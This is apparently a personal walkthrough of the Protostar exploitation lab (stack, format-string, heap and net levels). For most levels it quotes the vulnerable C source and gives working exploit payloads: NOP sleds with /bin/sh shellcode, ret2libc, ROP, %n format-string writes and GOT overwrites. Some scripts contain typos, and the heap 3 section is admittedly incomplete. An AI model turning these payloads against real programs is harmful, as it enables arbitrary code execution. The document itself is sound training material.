Stack 5

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

just direct BOF we will overwite the return address of the main with the address of the beginning of our evel code which begins with nope slids and then the shellcode

the reason of using cat to serve our shell with stdi/o

$ (python -c 'import struct;
BOF = 76*"A";
jmpaddr=struct.pack("I",0xbffff7f0);
nope = 100*"\x90"; 
shell ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"; 
print BOF+jmpaddr+nope+shell'; cat) | ./stack5

Stack 6

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

in this program it prevents us from jumping to any address in the stack as an example of non executable stack kanari, NX bit, DEP, ASLR… so we must jump to another addr out of the stack.

jmp to ret again

the trick on this techinque is to jump to ret agin which means that the 0x080484f9 <getpath+117>: ret instruction will pop the top of the stack again to EIP the stack will looks like: | Stack | | ————– | | ……… | | 0x080484f9 | | evil code addr | | evil code | | ……… |

import struct
BOF = 80*"A"
ret=struct.pack("I",0x080484f9)
jmpaddr=struct.pack("I",0xbffff7f0)
nope = 100*"\x90";
shell ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print BOF + ret + jmpaddr + nope + shell

ret2libc

on this technique we will make our jmp addr the system('/bin/sh') function this built-in function in normal usage called with with one string argument the program instructions in normal case of call system() be like this : | stack | | ———————- | | ……… | | ret addr from system() | | ‘/bin/sh’ | | ……… |

so we will make the stack looks like this but we need the addr of system() and an addr to the string'/bin/sh' and return addr dosent matter we don’t need to return :)

  • we can get the system addr from libc which standard library that linked to any executable binary and by using $ ldd ./stack6 we can see the linked system libraries and by getting the addr of /lib/libc.so.6 (0xb7e99000)
  • by using gdb> print system we can get the addr of system fun {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
  • by using command $ strings -a -t x /lib/libc.so.6 |grep /bin/sh we now have the offset with hex of the string /bin/sh in libc 0x11f3bf:/bin/sh by adding the offset to libc addr we now have the real address of the string in memory '/bin/sh' addr = 0xb7e97000+0x11f3bf
  • system addr = 0xb7ecffb0 , '/bin/sh' addr = 0xb7e97000+0x11f3bftime to write our magical exploit
import struct
BOF = 80*"A"
system=struct.pack("I",0xb7ecffb0)
system_ret='BBBB'
bash=struct.pack("I",0xb7e97000+0x11f3bf)
print BOF + system + syetem_ret + bash

Stack 7

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}
  • jmp to ret again_

like stack6 we can solve stack7 with this technique

import struct
BOF = 80*"A"
ret=struct.pack("I",0x08048544)
jmpaddr=struct.pack("I",0xbffff7f0)
nope = 100*"\x90";
shell ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print BOF + ret + jmpaddr + nope + shell
  • ret2.text

similar to ret2libc but here we cant ret2libc so we will use ROP gadgets used in .text we can find this by msfelfscsn or ROBgadget. imma use ROBgadget here 1- first i need to copy stack7 to my kali machine

~$ scp user@192.168.87.144:/opt/protostar/bin/stack7 /tmp/

2- i need to find suitable ROP gadget with pop and ret to use

/tmp$ ROPgadget --binary stack7
...........
0x08048493 : pop ebp ; ret
0x08048381 : pop ebx ; leave ; ret
0x08048492 : pop ebx ; pop ebp ; ret
0x080485c5 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048614 : pop ecx ; pop ebx ; leave ; ret
0x080485c7 : pop edi ; pop ebp ; ret
0x080485c6 : pop esi ; pop edi ; pop ebp ; ret
..........

imma use the simplest one 0x08048493 : pop ebp ; ret

3- put the address of the gadget insted of ret address in the above solutions

4- pop a demo from dem address let’s say ‘BBBB’

5- after that we can use ret2libc and excute system() as in stack6 or return to shellcode

6- finally place the address of shellcode to return to it

import struct
BOF = 80*"A"
ROPgadget=struct.pack("I",0x08048493) # pop ret
pop="BBBB"
ret=struct.pack("I",0xbffff7f0)
nope = 100*"\x90";
shell ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print BOF +ROPgadget+pop+ ret + nope + shell

format 0

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

sprintf doesn’t validate the string length so we can easly cause BOF and overwrite the target with 0xdeadbeef

/opt/protostar/bin$ ./format0 `python -c 'print "\xef\xbe\xad\xde"*17'`

17*4 bytes = 64 buffer + 4 of target

format 1

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

get address of target = 0x08049638

/opt/protostar/bin$ objdump -t format1

then passed it as block of your input and try to hit it with %x after finding suitable pattern of format input that hit the stored address that we passed and then replace %x of this position only with %n to overwrite the target with the length of our input

note: make your target address between known pattern to easly find and recognize its position in the output. ex: "DDDD"+ "\x38\x96\x04\x08" + "DDDD" + 168*" %x", the space before %x to make the output addresses separated and recognizable

/opt/protostar/bin$ ./format1 "`python -c 'print "\x38\x96\x04\x08"+126*"  %x"+"  %n"+"BBBB"'`"

Format 2

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

if we try to enter sequence of alphabets as input and the %x%x%x%x%x%x:

/opt/protostar/bin$ ./format2
AAAABBBBCCCCDDDDEEEE%x%x%x%x%x
AAAABBBBCCCCDDDDEEEE200b7fd8420bffff6144141414142424242
target is 0 :(

we’ll find that these addresses values 200b7fd8420bffff614 alwayes printed before our input hex values in memory, like so: AAAA <200b7fd8420bffff614> 41414141 so this sequence has length=19 so we need input to be looks like this target_address + 41_byte + 3*"%x" + "%n" = 64 byte length get address of target like in format1 = 0x080496e4

/opt/protostar/bin$ objdump -t format1
/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08" + 41*"A" + 3*"%x" + "%n"'|./format2

Format 3

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}
python -c 'print "\xf4\x96\x04\x08" + "\xf6\x96\x04\x08" + "%21820d%12$hn" + "%43966d%13$hn" ' |./format3
python -c 'print "\xf4\x96\x04\x08" + "%16930112d%12$08n" ' |./format3

Format 4

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);  
}

int main(int argc, char **argv)
{
  vuln();
}

hello: 080484b4

0x8049724 »> \x24\x97\x04\x08

python -c 'print "\x24\x97\x04\x08\x26\x97\x04\x08%33964d%4$hn%33616d%5$hn" ' |./format4

Heap 0

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();

}

long pattern input from gdb hit the eip with overwrite the fb() address in the heap kkkk' get winner() address withprint winnerin gdb or byobidumb -t heap0` replace kkkk with winner addres 0x08048464 » little indian \x64\x84\x04\x08

./heap0 `python -c 'print "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ\x64\x84\x04\x08"'`

Heap 1

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

try run without input in gdb we got segmentation fault because strcpy from address source=0x

pass long arguments AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ aaaabbbbccccddddeeeeffff

we somehow overwite the destination address=FFFF i2->name

now we could replace it with GOTaddress,jmp *GOTaddressfrom calling puts->write with printf(). $ disassable <puts@plt>_address

after that we will cotrol eip with value aaaa which we write it insted of GOTaddress

now we done by replacing aaaa with winner address, print winner in gdb or by obidumb -t heap1

`python -c 'print "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"+" \x94\x84\x04\x08"'`

Heap 2

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
    printf("[ auth = %p, service = %p ]\n", auth, service);

    if(fgets(line, sizeof(line), stdin) == NULL) break;
    
    if(strncmp(line, "auth ", 5) == 0) {
      auth = malloc(sizeof(auth));
      memset(auth, 0, sizeof(auth));
      if(strlen(line + 5) < 31) {
        strcpy(auth->name, line + 5);
      }
    }
    if(strncmp(line, "reset", 5) == 0) {
      free(auth);
    }
    if(strncmp(line, "service", 6) == 0) {
      service = strdup(line + 7);
    }
    if(strncmp(line, "login", 5) == 0) {
      if(auth->auth) {
        printf("you have logged in already!\n");
      } else {
        printf("please enter your password\n");
      }
    }
  }
}
/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth aaaa
[ auth = 0x804c008, service = (nil) ]
login
please enter your password
[ auth = 0x804c008, service = (nil) ]
serviceAAAAAAAAAAAAAAAA       
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]

Heap 3

full explaination

negative size

i followed as much as i understood

print "AAAA" + " " +
      14*"\x90" +"shellcode" +(30-len(shellcode)-14)*"\x90" + " " +
      struct.pack('I',0xfffffffc)*2 + "\x90\x90\x90\x90" + "puts@GOT_addr" + "shellcode_addr"

stillllllllllllllllllllllllll didn’t get it well :(

Net 1

void run()
{
  unsigned int i;
  unsigned int wanted;

  wanted = random();

  printf("Please send '%d' as a little endian 32bit int\n", wanted);

  if(fread(&i, sizeof(i), 1, stdin) == NULL) {
      errx(1, ":(\n");
  }

  if(i == wanted) {
      printf("Thank you sir/madam\n");
  } else {
      printf("I'm sorry, you sent %d instead\n", i);
  }
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  /* Don't do this :> */
  srandom(time(NULL));

  run();
}
import socket 
import struct            
    
s = socket.socket()
   
s.connect(('192.168.87.144', 2999))  
 
s.send(struct.pack("I",int((s.recv(1024)).split("'")[1])))

print s.recv(1024)

s.close()